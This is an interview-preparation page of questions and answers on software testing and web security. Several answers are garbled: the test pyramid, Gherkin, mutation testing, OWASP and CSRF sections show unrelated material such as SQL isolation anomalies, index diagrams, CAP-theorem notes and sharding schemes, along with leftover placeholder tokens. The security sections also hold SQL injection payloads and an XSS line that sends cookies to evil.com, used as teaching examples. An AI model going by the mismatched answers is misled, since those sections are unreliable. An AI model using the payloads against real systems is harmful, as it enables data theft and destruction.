Back to Questions
09

Testing & Security

Unit testing, TDD, OWASP, and security practices

Difficulty:
Session: 0 asked
1.

Unit vs Integration vs E2E testing

What's the difference between unit, integration, and end-to-end tests?

Junior

Unit Tests:
Test individual components in isolation.

// Unit test - tests only Calculator
class CalculatorTest {
    @Test
    void testAdd() {
        Calculator calc = new Calculator();
        assertEquals(5, calc.add(2, 3));
    }
}
// Fast, isolated, mocked dependencies

Integration Tests:
Test interaction between components.

// Integration test - tests Service + Repository
class UserServiceIntegrationTest {
    @Autowired UserService service;
    @Autowired UserRepository repo;

    @Test
    void testCreateUser() {
        User user = service.create("Alice");
        assertNotNull(repo.findById(user.getId()));
    }
}
// Tests real database, slower

End-to-End (E2E) Tests:
Test complete flows from user perspective.

// E2E test - tests entire system
describe('User Registration', () => {
    it('should register new user', () => {
        cy.visit('/register');
        cy.get('[name="email"]').type('test@example.com');
        cy.get('[name="password"]').type('password123');
        cy.get('button[type="submit"]').click();
        cy.url().should('include', '/dashboard');
    });
});
// Real browser, real server, slowest

Comparison:

Aspect Unit Integration E2E
Scope Single component Multiple components Entire system
Speed Fast (ms) Medium (s) Slow (min)
Isolation High (mocked) Medium None
Maintenance Easy Medium Difficult
Reliability High Medium Flaky
Coverage Function logic Component interaction User flows

Test Pyramid:

        /\
       /E2E\         Few
      /────\
     / Integ\        Some
    /────────\
   /   Unit   \      Many
  /────────────\

What to Test Where:

Test Type Examples
Unit Business logic, algorithms, utilities
Integration API endpoints, database queries, services
E2E Critical user journeys, checkout, login

Key Points to Look For:
- Knows all three types
- Understands trade-offs
- Follows test pyramid

Follow-up: What makes E2E tests flaky?

2.

Test pyramid and its implications

What is the test pyramid? Why is it shaped that way?

Junior

Test Pyramid:

-- Initial: balance = 100

-- Transaction A              -- Transaction B
BEGIN;
UPDATE SET balance = 50;
                              BEGIN;
                              SELECT balance; -- 50 (dirty!)
ROLLBACK;                     -- A rolled back, but B saw 50
                              -- B made decisions based on bad data

Why This Shape:

Cost:

-- Transaction A              -- Transaction B
BEGIN;
SELECT balance; -- 100
                              BEGIN;
                              UPDATE SET balance = 50;
                              COMMIT;
SELECT balance; -- 50!        -- Different value!
-- Same row, different value

Speed:

-- Transaction A              -- Transaction B
BEGIN;
SELECT COUNT(*) WHERE age > 20;
-- Returns 5
                              BEGIN;
                              INSERT INTO users (age) VALUES (25);
                              COMMIT;
SELECT COUNT(*) WHERE age > 20;
-- Returns 6! Phantom row appeared

Reliability:

Dirty Read:         See uncommitted data
Non-Repeatable:     Same row, different value
Phantom:            Different row count

Implications:

1. Maximize unit tests:

Bank shows $50, user withdraws $40
Original transaction rolled back
Actual balance was $100
Now balance is $60 (should be $100)

2. Integration for boundaries:

Check inventory: 10 items
Someone buys 5
Place order for 10
Oversold by 5!

3. E2E for critical paths:

Count employees in department: 5
Budget for 5
New hire added
Budget insufficient for 6

Anti-Pattern: Ice Cream Cone:

wzxhzdk:7

Key Points to Look For:
- Knows pyramid shape and why
- Understands cost/speed trade-offs
- Recognizes anti-patterns

Follow-up: How does the pyramid change for different types of applications?

3.

What makes a good unit test?

What are the characteristics of a good unit test?

Junior

FIRST Principles:

F - Fast:

// Good: Milliseconds
@Test void calculate_returnsCorrectResult() {
    assertEquals(10, calculator.add(5, 5));
}

// Bad: Seconds (hitting real DB)
@Test void calculate_withDatabase() {
    db.connect();  // Slow!
}

I - Isolated/Independent:

// Good: No test order dependency
@Test void test1() { /* independent */ }
@Test void test2() { /* independent */ }

// Bad: Tests depend on each other
@Test void test1() { sharedState = 1; }
@Test void test2() { assertEquals(1, sharedState); }

R - Repeatable:

// Good: Same result every time
@Test void discount_applies10Percent() {
    assertEquals(90, pricing.applyDiscount(100, 0.1));
}

// Bad: Depends on external state
@Test void discount_basedOnCurrentDate() {
    // Fails on certain dates
}

S - Self-validating:

// Good: Clear pass/fail
@Test void user_isActive_whenNotExpired() {
    assertTrue(user.isActive());
}

// Bad: Requires manual inspection
@Test void printUserInfo() {
    System.out.println(user);  // Look at output?
}

T - Timely:
Written before or with the code.

Additional Qualities:

Focused (tests one thing):

// Good
@Test void addItem_increasesCartCount() {
    cart.add(item);
    assertEquals(1, cart.itemCount());
}

// Bad: Tests multiple things
@Test void addItem_updatesCartCorrectly() {
    cart.add(item);
    assertEquals(1, cart.itemCount());
    assertEquals(item.price(), cart.total());
    assertFalse(cart.isEmpty());
}

Readable:

// Good: Arrange-Act-Assert
@Test void overdraft_throwsException_whenInsufficientFunds() {
    // Arrange
    Account account = new Account(100);

    // Act & Assert
    assertThrows(InsufficientFundsException.class,
        () -> account.withdraw(200));
}

Meaningful name:

// Good
void shouldRejectInvalidEmail_whenFormatIsWrong()

// Bad
void testEmail()
void test1()

Key Points to Look For:
- Knows FIRST principles
- Values isolation and speed
- Writes readable tests

Follow-up: How do you test private methods?

4.

Mocking vs Stubbing vs Faking

What's the difference between mocks, stubs, and fakes?

Mid

Test Doubles: Objects that replace real dependencies in tests.

Stub:
Returns canned responses. No verification.

// Stub - returns fixed data
class StubUserRepository implements UserRepository {
    @Override
    public User findById(Long id) {
        return new User(id, "Test User");  // Always returns this
    }
}

@Test
void getUser_returnsUser() {
    UserService service = new UserService(new StubUserRepository());
    User user = service.getUser(1L);
    assertEquals("Test User", user.getName());
}

Mock:
Verifies interactions. Has expectations.

// Mock - verifies calls
@Test
void createUser_sendsWelcomeEmail() {
    EmailService mockEmail = mock(EmailService.class);
    UserService service = new UserService(userRepo, mockEmail);

    service.createUser("alice@example.com");

    // Verify interaction
    verify(mockEmail).send(
        eq("alice@example.com"),
        contains("Welcome")
    );
}

Fake:
Working implementation, simplified.

// Fake - simplified but working
class FakeUserRepository implements UserRepository {
    private Map<Long, User> users = new HashMap<>();
    private long nextId = 1;

    @Override
    public User save(User user) {
        user.setId(nextId++);
        users.put(user.getId(), user);
        return user;
    }

    @Override
    public User findById(Long id) {
        return users.get(id);  // Actually works!
    }
}

Spy:
Real object with some methods stubbed/verified.

// Spy - partial mock
UserService realService = new UserService(repo, email);
UserService spy = spy(realService);

doReturn(cachedUser).when(spy).getFromCache(1L);

spy.getUser(1L);  // Uses stubbed cache, real repo

Comparison:

Type Behavior Verification Use Case
Stub Fixed responses No Provide inputs
Mock Programmed Yes Verify outputs
Fake Simplified real No Complex dependency
Spy Real + overrides Optional Partial stubbing

Mockito Examples:

// Stub
when(repo.findById(1L)).thenReturn(user);

// Mock with verification
verify(repo).save(any(User.class));
verify(repo, times(2)).findById(anyLong());
verify(repo, never()).delete(any());

// Argument capture
ArgumentCaptor<User> captor = ArgumentCaptor.forClass(User.class);
verify(repo).save(captor.capture());
assertEquals("Alice", captor.getValue().getName());

Key Points to Look For:
- Knows all types and differences
- Uses mocks for verification
- Prefers stubs/fakes for inputs

Follow-up: When would you use a fake over a mock?

5.

Test coverage: metrics and limitations

What does test coverage measure? What are its limitations?

Mid

Coverage Metrics:

1. Line Coverage:

void process(int x) {
    if (x > 0) {       // Line 1
        doSomething();  // Line 2
    }
    finish();          // Line 3
}

// Test: process(5)
// Lines covered: 1, 2, 3 = 100%
// Test: process(-1)
// Lines covered: 1, 3 = 67%

2. Branch Coverage:

void process(int x) {
    if (x > 0) {       // Branch: true/false
        doSomething();
    }
    finish();
}

// Test: process(5) → true branch
// Test: process(-1) → false branch
// 100% branch coverage

3. Path Coverage:

void process(int x, int y) {
    if (x > 0) { a(); }
    if (y > 0) { b(); }
}

// Paths: (T,T), (T,F), (F,T), (F,F) = 4 paths

Limitations:

1. Coverage doesn't mean correctness:

// 100% coverage, but bug!
void divide(int a, int b) {
    return a / b;  // No zero check!
}

@Test void testDivide() {
    assertEquals(2, divide(4, 2));  // 100% coverage
}

2. Doesn't test edge cases:

void process(List<String> items) {
    for (String item : items) {
        handle(item);
    }
}

@Test void test() {
    process(List.of("a"));  // 100% coverage
    // Never tested: empty list, null, large list
}

3. Quality vs quantity:

// High coverage, low quality
@Test void testEverything() {
    someMethod();  // No assertions!
}

4. Doesn't test interactions:

// Unit coverage fine, integration broken
serviceA.doWork();  // Tested in isolation
serviceB.doWork();  // Tested in isolation
// But A → B interaction may fail

Good Practices:

1. Set reasonable targets (70-80%, not 100%)
2. Focus on critical code paths
3. Measure trend, not absolute number
4. Combine with other metrics:
   - Mutation testing
   - Integration tests
   - Code review

Key Points to Look For:
- Knows coverage types
- Understands limitations
- Doesn't chase 100%

Follow-up: What is mutation testing?

6.

TDD: Red-Green-Refactor cycle

What is TDD? Explain the Red-Green-Refactor cycle.

Mid

TDD (Test-Driven Development):
Write tests before implementation.

Red-Green-Refactor:

    ┌─────────┐
    │  RED    │  Write failing test
    │ (fail)  │
    └────┬────┘
         │
    ┌────▼────┐
    │ GREEN   │  Write minimum code to pass
    │ (pass)  │
    └────┬────┘
         │
    ┌────▼────┐
    │REFACTOR │  Clean up, improve design
    │ (pass)  │
    └────┬────┘
         │
         └─────→ Repeat

Example:

RED - Write failing test:

@Test
void isEmpty_returnsTrue_forNewStack() {
    Stack<Integer> stack = new Stack<>();
    assertTrue(stack.isEmpty());
}
// Fails: Stack class doesn't exist

GREEN - Make it pass:

class Stack<T> {
    boolean isEmpty() {
        return true;  // Simplest implementation
    }
}
// Passes!

RED - Next test:

@Test
void isEmpty_returnsFalse_afterPush() {
    Stack<Integer> stack = new Stack<>();
    stack.push(1);
    assertFalse(stack.isEmpty());
}
// Fails: push() doesn't exist

GREEN - Make it pass:

class Stack<T> {
    private List<T> items = new ArrayList<>();

    void push(T item) {
        items.add(item);
    }

    boolean isEmpty() {
        return items.isEmpty();
    }
}

REFACTOR:

// Maybe rename, extract methods, etc.
// Tests still pass!

Benefits:
1. Design emerges from tests
2. Documentation via tests
3. Confidence in changes
4. Focus on requirements

Challenges:
1. Learning curve
2. Slower initially
3. Need discipline
4. Not suitable for all code (UI, exploratory)

Key Points to Look For:
- Knows the cycle
- Writes minimal code to pass
- Refactors with confidence

Follow-up: When might TDD not be appropriate?

7.

BDD and Gherkin syntax

What is BDD? How does Gherkin syntax work?

Mid

BDD (Behavior-Driven Development):
Extension of TDD focusing on business behavior, using natural language.

Gherkin Syntax:

Clustered Index on ID:
Index:    [1] → [5] → [10] → [15]
                ↓
Data:     Actual rows stored in this order

-- Table IS the index

Keywords:
- Feature: Describes the feature
- Scenario: Specific test case
- Given: Preconditions (setup)
- When: Action being tested
- Then: Expected outcome
- And/But: Additional steps

Step Definitions (Cucumber):

Non-Clustered Index on Name:
Index:    [Alice] → [Bob] → [Carol]
              ↓
Pointer:   Row 5    Row 1    Row 3
              ↓
Data:     Stored in different order (clustered order)

Benefits:
1. Shared language between business and tech
2. Living documentation
3. Focus on behavior not implementation
4. Reusable steps

Scenario Outline (Data-Driven):

SELECT * FROM users WHERE id = 5;
1. B-tree search → O(log n)
2. Found! Data is right there

Key Points to Look For:
- Knows Gherkin syntax
- Understands Given/When/Then
- Can write step definitions

Follow-up: How do you prevent step definition explosion?


Testing Practices

8.

Testing private methods: should you?

Should you test private methods? How would you if needed?

Mid

General Guidance: Don't test private methods directly.

Why Not:
1. Implementation detail - Can change without affecting behavior
2. Tested through public API - If public methods work, private methods work
3. Indicates design problem - Too complex? Extract class

Test Through Public Methods:

class Calculator {
    public int calculate(int a, int b, String op) {
        if (op.equals("+")) return add(a, b);
        if (op.equals("*")) return multiply(a, b);
        throw new IllegalArgumentException();
    }

    private int add(int a, int b) { return a + b; }
    private int multiply(int a, int b) { return a * b; }
}

@Test
void calculate_addsCorrectly() {
    assertEquals(5, calc.calculate(2, 3, "+"));
}
// Private methods tested implicitly

If Complex Private Logic - Extract Class:

// Before: Complex private method
class OrderService {
    public Order createOrder(...) {
        // ...
        BigDecimal tax = calculateTax(items, state);  // Complex!
        // ...
    }

    private BigDecimal calculateTax(...) { /* Complex logic */ }
}

// After: Extract and test separately
class TaxCalculator {
    public BigDecimal calculate(List<Item> items, String state) {
        // Same logic, now public and testable
    }
}

class TaxCalculatorTest {
    @Test void calculate_appliesStateTax() { }
}

If You Must Test Private (Not Recommended):

// Using reflection
Method method = MyClass.class.getDeclaredMethod("privateMethod", String.class);
method.setAccessible(true);
Object result = method.invoke(instance, "arg");

// Package-private for testing
class Calculator {
    int add(int a, int b) { return a + b; }  // Package-private, not private
}

Summary:

Private method simple? → Test through public API
Private method complex? → Extract to separate class
Still want to test? → Make package-private (last resort)

Key Points to Look For:
- Prefers testing through public API
- Suggests extraction for complex logic
- Understands design implications

Follow-up: How does extracting classes improve testability?

9.

Flaky tests: causes and solutions

What causes flaky tests and how do you fix them?

Mid

Flaky Test: Passes sometimes, fails sometimes, without code changes.

Causes and Solutions:

1. Timing/Async Issues:

// Flaky
test('shows message', () => {
    button.click();
    expect(message.text()).toBe('Done');  // May not be ready!
});

// Fixed
test('shows message', async () => {
    button.click();
    await waitFor(() => expect(message.text()).toBe('Done'));
});

2. Test Order Dependency:

// Flaky - depends on order
static int counter = 0;

@Test void test1() { counter++; assertEquals(1, counter); }
@Test void test2() { counter++; assertEquals(2, counter); }

// Fixed - reset state
@BeforeEach void setup() { counter = 0; }

3. Shared State:

// Flaky - shared database
@Test void testA() { db.insert(user); }
@Test void testB() { assertEquals(0, db.count()); }  // Fails if A runs first

// Fixed - isolate tests
@BeforeEach void setup() { db.clear(); }
// Or use transactions and rollback

4. Time-Dependent:

// Flaky - depends on current time
@Test void isExpired() {
    Token token = new Token(expiresAt: "2024-01-01");
    assertTrue(token.isExpired());  // Fails before 2024!
}

// Fixed - inject clock
@Test void isExpired() {
    Clock fixedClock = Clock.fixed(Instant.parse("2024-06-01T00:00:00Z"));
    Token token = new Token(expiresAt: "2024-01-01", clock: fixedClock);
    assertTrue(token.isExpired());
}

5. External Dependencies:

// Flaky - real API
@Test void fetchUser() {
    User user = api.getUser(1);  // Network issues
    assertNotNull(user);
}

// Fixed - mock external
@Test void fetchUser() {
    when(mockApi.getUser(1)).thenReturn(testUser);
    User user = service.fetchUser(1);
    assertNotNull(user);
}

6. Resource Cleanup:

// Flaky - file not cleaned
@Test void writesFile() {
    writer.write("test.txt");
    assertTrue(Files.exists("test.txt"));
}

// Fixed - cleanup
@AfterEach void cleanup() {
    Files.deleteIfExists("test.txt");
}

Strategies:
1. Quarantine flaky tests
2. Retry (temporary, not solution)
3. Root cause analysis
4. Deterministic inputs
5. Proper waits/timeouts

Key Points to Look For:
- Knows common causes
- Has specific solutions
- Addresses root cause

Follow-up: How do you identify flaky tests in CI/CD?

10.

Testing async code challenges

What are the challenges of testing async code?

Mid

Challenges:

1. Test Completes Before Async:

// Wrong - test ends before callback
test('fetches data', () => {
    fetchData((data) => {
        expect(data).toBe('result');
    });
});
// Test passes even if assertion fails!

Solutions:

Callbacks - Use done:

test('fetches data', (done) => {
    fetchData((data) => {
        expect(data).toBe('result');
        done();  // Signal completion
    });
});

Promises - Return promise:

test('fetches data', () => {
    return fetchData().then(data => {
        expect(data).toBe('result');
    });
});

Async/Await:

test('fetches data', async () => {
    const data = await fetchData();
    expect(data).toBe('result');
});

2. Timing Issues:

// Flaky - arbitrary timeout
test('shows loading then data', async () => {
    render(<DataComponent />);
    await sleep(100);  // May not be enough!
    expect(screen.getByText('Data')).toBeInTheDocument();
});

// Better - wait for condition
test('shows loading then data', async () => {
    render(<DataComponent />);
    await waitFor(() => {
        expect(screen.getByText('Data')).toBeInTheDocument();
    });
});

3. Multiple Async Operations:

// Testing order of operations
test('processes in order', async () => {
    const results = [];

    await Promise.all([
        operation1().then(r => results.push(r)),
        operation2().then(r => results.push(r))
    ]);

    // Can't guarantee order!
});

// Better - test independently

4. Error Handling:

// Test rejection
test('handles error', async () => {
    await expect(failingOperation()).rejects.toThrow('Error message');
});

// Test error callback
test('calls error handler', async () => {
    const errorHandler = jest.fn();
    await operation({ onError: errorHandler });
    expect(errorHandler).toHaveBeenCalledWith(expect.any(Error));
});

Java Examples:

// CompletableFuture
@Test
void asyncOperation() throws Exception {
    CompletableFuture<String> future = service.asyncGet();
    String result = future.get(5, TimeUnit.SECONDS);
    assertEquals("expected", result);
}

// Awaitility
@Test
void eventuallySucceeds() {
    service.startAsync();

    await()
        .atMost(5, SECONDS)
        .until(() -> service.isComplete());
}

Key Points to Look For:
- Knows async testing patterns
- Uses proper waiting mechanisms
- Handles timeouts appropriately

Follow-up: How do you test event-driven systems?

11.

Mutation testing explained

What is mutation testing? How does it help?

Senior

Mutation Testing:
Measures test quality by introducing bugs (mutants) and checking if tests catch them.


Process:


-- Index on customer_id only
CREATE INDEX idx_cust ON orders(customer_id);

SELECT order_date, total
FROM orders
WHERE customer_id = 123;

-- Execution:
-- 1. Find rows in index → Get row IDs
-- 2. For each row ID, fetch from table → Extra I/O!

Example:


-- Include all needed columns
CREATE INDEX idx_cust_covering
ON orders(customer_id, order_date, total);

-- Now index-only scan possible!

Mutation Operators:


CREATE INDEX idx_cust ON orders(customer_id)
    INCLUDE (order_date, total);

Mutation Score:


-- Query filters on customer_id, selects order_date, total
-- customer_id needs to be searchable
-- order_date, total just need to be available

CREATE INDEX idx ON orders(customer_id)  -- Key: searchable
    INCLUDE (order_date, total);         -- Include: available

Benefits:

1. Tests the tests - Are they actually checking?

2. Finds weak tests - Assertions that don't fail

3. Better than coverage - Execution ≠ Verification


Limitations:

1. Slow - Runs tests many times

2. Equivalent mutants - Some mutations don't change behavior

3. Expensive - CPU intensive


Tools:

- PIT (Java)

- Stryker (JavaScript, C#)

- mutmut (Python)


Key Points to Look For:

- Understands the concept

- Knows why it's better than coverage

- Aware of limitations


Follow-up: How do you handle equivalent mutants?


12.

Property-based testing

What is property-based testing? When would you use it?

Senior

Property-Based Testing:
Instead of specific examples, test properties that should always hold.

Example-Based vs Property-Based:

// Example-based
@Test void testSort() {
    assertEquals(List.of(1, 2, 3), sort(List.of(3, 1, 2)));
    assertEquals(List.of(1), sort(List.of(1)));
    assertEquals(List.of(), sort(List.of()));
}

// Property-based
@Property
void sortedListIsSorted(@ForAll List<Integer> list) {
    List<Integer> sorted = sort(list);
    for (int i = 0; i < sorted.size() - 1; i++) {
        assertTrue(sorted.get(i) <= sorted.get(i + 1));
    }
}

@Property
void sortedListHasSameElements(@ForAll List<Integer> list) {
    List<Integer> sorted = sort(list);
    assertEquals(new HashSet<>(list), new HashSet<>(sorted));
    assertEquals(list.size(), sorted.size());
}

Properties to Test:

1. Inverse Operations:

@Property
void encodeDecodeIsIdentity(@ForAll String s) {
    assertEquals(s, decode(encode(s)));
}

@Property
void serializeDeserializeIsIdentity(@ForAll User user) {
    assertEquals(user, deserialize(serialize(user)));
}

2. Idempotent Operations:

@Property
void sortIsIdempotent(@ForAll List<Integer> list) {
    assertEquals(sort(list), sort(sort(list)));
}

3. Invariants:

@Property
void stackSizeAfterPushPop(@ForAll @Size(min=1) List<Integer> items) {
    Stack<Integer> stack = new Stack<>();
    for (int item : items) stack.push(item);
    int size = stack.size();

    stack.push(999);
    stack.pop();

    assertEquals(size, stack.size());
}

4. Commutativity:

@Property
void additionIsCommutative(@ForAll int a, @ForAll int b) {
    assertEquals(add(a, b), add(b, a));
}

Benefits:
1. Edge cases found automatically
2. More coverage with less code
3. Finds unexpected bugs
4. Shrinking - minimizes failing case

Shrinking:

Found failing input: [45, 22, 99, 3, 17, 42, 8]
Shrinking...
Minimal failing case: [2, 1, 0]

Tools:
- jqwik (Java)
- QuickCheck (Haskell, ports to many languages)
- Hypothesis (Python)
- fast-check (JavaScript)

Key Points to Look For:
- Understands property concept
- Knows common property types
- Mentions shrinking

Follow-up: How do you identify good properties to test?

13.

Contract testing for APIs

What is contract testing? How does it help with microservices?

Senior

Contract Testing:
Verify interactions between services match agreed-upon contracts.

Problem:

Consumer (Frontend)     Provider (API)
      │                      │
      │  GET /users/123      │
      │─────────────────────→│
      │  {name: "Alice"}     │
      │←─────────────────────│

What if API changes response to {userName: "Alice"}?
Integration test might not catch until late!

Consumer-Driven Contract Testing:

1. Consumer defines expectations (contract)
2. Provider verifies it can meet contract
3. Both test independently

Pact Example:

Consumer Side:

@Pact(consumer = "Frontend", provider = "UserAPI")
public RequestResponsePact userContract(PactDslWithProvider builder) {
    return builder
        .given("user 123 exists")
        .uponReceiving("a request for user 123")
        .path("/users/123")
        .method("GET")
        .willRespondWith()
        .status(200)
        .body(new PactDslJsonBody()
            .stringType("name", "Alice")
            .integerType("id", 123))
        .toPact();
}

@Test
@PactTestFor(pactMethod = "userContract")
void testGetUser(MockServer mockServer) {
    UserClient client = new UserClient(mockServer.getUrl());
    User user = client.getUser(123);
    assertEquals("Alice", user.getName());
}

Provider Side:

@Provider("UserAPI")
@PactFolder("pacts")
public class UserProviderTest {

    @TestTemplate
    @ExtendWith(PactVerificationInvocationContextProvider.class)
    void verifyPact(PactVerificationContext context) {
        context.verifyInteraction();
    }

    @State("user 123 exists")
    void user123Exists() {
        userRepository.save(new User(123, "Alice"));
    }
}

Flow:

┌──────────────┐                    ┌──────────────┐
│   Consumer   │                    │   Provider   │
└──────┬───────┘                    └──────┬───────┘
       │                                   │
       │ 1. Generate contract              │
       │─────────────────────────────────→ │
       │                                   │
       │      Pact Broker (storage)        │
       │                                   │
       │ 2. Verify contract                │
       │ ←─────────────────────────────────│
       │                                   │

Benefits:
1. Fast feedback - Don't need running services
2. Independent testing - Consumer and provider separate
3. Versioned contracts - Track compatibility
4. CI/CD integration - Automated verification

Spring Cloud Contract:

// Contract DSL
Contract.make {
    request {
        method GET()
        url '/users/123'
    }
    response {
        status 200
        body([name: 'Alice', id: 123])
    }
}

Key Points to Look For:
- Understands consumer-driven approach
- Knows tools (Pact, Spring Cloud Contract)
- Can explain the workflow

Follow-up: How do you handle contract versioning?

14.

Performance testing basics

What types of performance testing are there?

Mid

Types of Performance Testing:

1. Load Testing:
Expected normal load.

Users:     100 concurrent
Duration:  1 hour
Goal:      Verify response times under normal load

2. Stress Testing:
Beyond normal capacity.

Users:     500 → 1000 → 2000 (increasing)
Goal:      Find breaking point
           How does system recover?

3. Spike Testing:
Sudden load increase.

Users:     100 → 1000 (instantly) → 100
Goal:      Handle sudden traffic bursts
           Black Friday scenario

4. Endurance/Soak Testing:
Sustained load over time.

Users:     100 concurrent
Duration:  24-72 hours
Goal:      Find memory leaks, resource exhaustion

5. Scalability Testing:

Test:      Add resources, measure improvement
Goal:      Verify scaling strategy works
           Linear vs diminishing returns

Key Metrics:

Response Time:
- Average: 200ms
- P95: 500ms (95% under this)
- P99: 1s (99% under this)

Throughput:
- Requests/second: 1000 RPS
- Transactions/second

Error Rate:
- < 1% acceptable

Resource Usage:
- CPU: < 70% average
- Memory: Stable, no leaks
- Connections: Within limits

JMeter Example:

<ThreadGroup>
    <ThreadCount>100</ThreadCount>
    <RampUp>60</RampUp>
    <Duration>3600</Duration>

    <HTTPSampler>
        <method>GET</method>
        <path>/api/users</path>
    </HTTPSampler>
</ThreadGroup>

k6 Example:

import http from 'k6/http';
import { check, sleep } from 'k6';

export let options = {
    vus: 100,
    duration: '30s',
    thresholds: {
        http_req_duration: ['p(95)<500'],
        http_req_failed: ['rate<0.01'],
    },
};

export default function() {
    let res = http.get('https://api.example.com/users');
    check(res, {
        'status is 200': (r) => r.status === 200,
        'response time < 500ms': (r) => r.timings.duration < 500,
    });
    sleep(1);
}

Key Points to Look For:
- Knows different types
- Understands key metrics
- Mentions tools

Follow-up: How do you identify performance bottlenecks?


Security Fundamentals

15.

OWASP Top 10 overview

What are the OWASP Top 10 security risks?

Mid

OWASP Top 10 (2021):

1. Broken Access Control:

Network partition occurs:
Server A ←✗→ Server B

Scenario: Write to A, Read from B

Option 1: Consistency (CP)
- B refuses to serve until sync with A
- Availability sacrificed

Option 2: Availability (AP)
- B serves stale data
- Consistency sacrificed

Can't have both during partition!

2. Cryptographic Failures:
- Weak encryption
- Sensitive data in plain text
- Weak password hashing

3. Injection:
- SQL injection
- Command injection
- LDAP injection

4. Insecure Design:
- Missing security controls
- No threat modeling
- Insecure business logic

5. Security Misconfiguration:
- Default credentials
- Unnecessary features enabled
- Missing security headers
- Verbose error messages

6. Vulnerable Components:
- Outdated libraries
- Known CVEs
- Unmaintained dependencies

7. Authentication Failures:
- Weak passwords allowed
- Credential stuffing
- Session fixation
- Missing MFA

8. Data Integrity Failures:
- Insecure deserialization
- Unsigned updates
- CI/CD pipeline security

9. Logging & Monitoring Failures:
- No audit logs
- No alerting
- Logs not protected

10. Server-Side Request Forgery (SSRF):

During partition: Some requests fail
Examples: MongoDB, HBase, Redis Cluster

Use for: Banking, inventory
"I'd rather refuse than give wrong answer"

Key Points to Look For:
- Knows several risks
- Can give examples
- Understands prevention

Follow-up: How do you stay updated on security vulnerabilities?

16.

SQL Injection: attack and prevention

What is SQL injection? How do you prevent it?

Junior

SQL Injection:
Attacker inserts malicious SQL through user input.

Vulnerable Code:

String query = "SELECT * FROM users WHERE username = '" + username + "'";
// Input: admin' --
// Query: SELECT * FROM users WHERE username = 'admin' --'
// Comments out password check!

// Input: '; DROP TABLE users; --
// Query: SELECT * FROM users WHERE username = ''; DROP TABLE users; --'
// Deletes the table!

Attack Examples:

1. Authentication bypass:
   Username: admin' OR '1'='1' --
   Query: WHERE username='admin' OR '1'='1'--'
   Result: Always true, logs in as admin

2. Data extraction:
   Input: ' UNION SELECT password FROM users --
   Result: Returns passwords

3. Destructive:
   Input: '; DROP TABLE users; --
   Result: Deletes table

Prevention:

1. Parameterized Queries (Best):

// Java PreparedStatement
PreparedStatement stmt = conn.prepareStatement(
    "SELECT * FROM users WHERE username = ?"
);
stmt.setString(1, username);
ResultSet rs = stmt.executeQuery();

// JPA
@Query("SELECT u FROM User u WHERE u.username = :username")
User findByUsername(@Param("username") String username);

2. ORM:

// Hibernate
session.createQuery("FROM User WHERE username = :username")
    .setParameter("username", username)
    .list();

// JPA Repository
userRepository.findByUsername(username);

3. Input Validation:

// Whitelist validation
if (!username.matches("^[a-zA-Z0-9_]+$")) {
    throw new InvalidInputException();
}

4. Escape Special Characters (Last Resort):

// Only if parameterized queries not possible
String escaped = StringEscapeUtils.escapeSql(input);

5. Least Privilege:

-- Database user with minimal permissions
GRANT SELECT, INSERT ON app_schema.* TO 'app_user'@'localhost';
-- No DROP, DELETE on critical tables

Key Points to Look For:
- Knows attack mechanism
- Uses parameterized queries
- Doesn't rely only on escaping

Follow-up: How do you detect SQL injection attempts?

17.

XSS: types and prevention

What is Cross-Site Scripting (XSS)? What are the types?

Mid

XSS (Cross-Site Scripting):
Attacker injects malicious scripts into web pages viewed by others.

Types:

1. Reflected XSS:
Script in URL, reflected in response.

URL: example.com/search?q=<script>alert('XSS')</script>
Page: "Results for: <script>alert('XSS')</script>"

2. Stored XSS:
Script saved in database, served to users.

Comment: <script>document.location='evil.com?c='+document.cookie</script>
Stored in DB, executed when other users view comment

3. DOM-based XSS:
Script manipulates DOM directly.

// Vulnerable
document.getElementById('output').innerHTML = location.hash;
// URL: page.html#<img src=x onerror=alert('XSS')>

Prevention:

1. Output Encoding:

// Encode for HTML context
String safe = HtmlUtils.htmlEscape(userInput);
// <script> becomes &lt;script&gt;

// Encode for JavaScript context
String safeJs = JavaScriptUtils.javaScriptEscape(userInput);

// Encode for URL
String safeUrl = URLEncoder.encode(userInput, "UTF-8");

2. Content Security Policy:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'
<script nonce="abc123">/* Only this script runs */</script>

3. Use Safe APIs:

// Dangerous
element.innerHTML = userInput;

// Safe
element.textContent = userInput;

4. Input Validation:

// Sanitize HTML input
String clean = Jsoup.clean(userInput, Whitelist.basic());

5. HTTPOnly Cookies:

Set-Cookie: session=abc123; HttpOnly; Secure

Prevents JavaScript access to cookies.

6. Framework Protection:

<!-- React auto-escapes -->
<div>{userInput}</div>

<!-- Unless you explicitly allow HTML -->
<div dangerouslySetInnerHTML={{__html: userInput}} />

Key Points to Look For:
- Knows all three types
- Uses output encoding
- Mentions CSP

Follow-up: What's the difference between encoding and sanitizing?

18.

CSRF: how it works and prevention

What is CSRF? How do you prevent it?

Mid

CSRF (Cross-Site Request Forgery):
Attacker tricks user into performing unwanted actions.

How It Works:

Shard 1: user_id 1-1000
Shard 2: user_id 1001-2000
Shard 3: user_id 2001-3000

Prevention:

1. CSRF Tokens:

shard = hash(user_id) % num_shards
Ring: 0 ─────────────────→ 2^32
         │    │    │    │
      Shard1 S2   S3   S4

key = hash(user_id) → Find next shard clockwise

2. SameSite Cookies:

user_id → shard
1       → shard_2
2       → shard_1
3       → shard_3
  • Strict: Cookie never sent cross-site
  • Lax: Sent for top-level navigation
  • None: Always sent (requires Secure)

3. Double Submit Cookie:

Good shard key:
- High cardinality (many unique values)
- Even distribution
- Matches query patterns
- Immutable

Bad shard keys:
- Low cardinality (gender, status)
- Monotonically increasing (timestamp alone)
- Frequently updated

4. Check Origin/Referer:

wzxhzdk:5

5. Re-authentication:

wzxhzdk:6

Spring Security:

wzxhzdk:7

Key Points to Look For:
- Understands attack mechanism
- Knows CSRF token pattern
- Mentions SameSite cookies

Follow-up: Why don't CSRF tokens work for APIs?

19.

Input validation best practices

What are best practices for input validation?

Junior

Validation Principles:

1. Validate on Server (Always):

// Client validation can be bypassed!
// Always validate server-side

@PostMapping("/users")
public User createUser(@Valid @RequestBody UserDTO dto) {
    // @Valid triggers validation
}

public class UserDTO {
    @NotBlank
    @Size(min = 1, max = 100)
    private String name;

    @Email
    private String email;

    @Min(0) @Max(150)
    private Integer age;
}

2. Whitelist Over Blacklist:

// Bad: Blacklist (incomplete)
if (input.contains("<script>")) reject();  // Many bypasses!

// Good: Whitelist (explicit allowed)
if (!input.matches("^[a-zA-Z0-9_]+$")) reject();

3. Type Validation:

// Validate expected type
int age = Integer.parseInt(ageString);  // Throws if not number

// Use strong types
public void setAge(int age) {  // Can't pass string
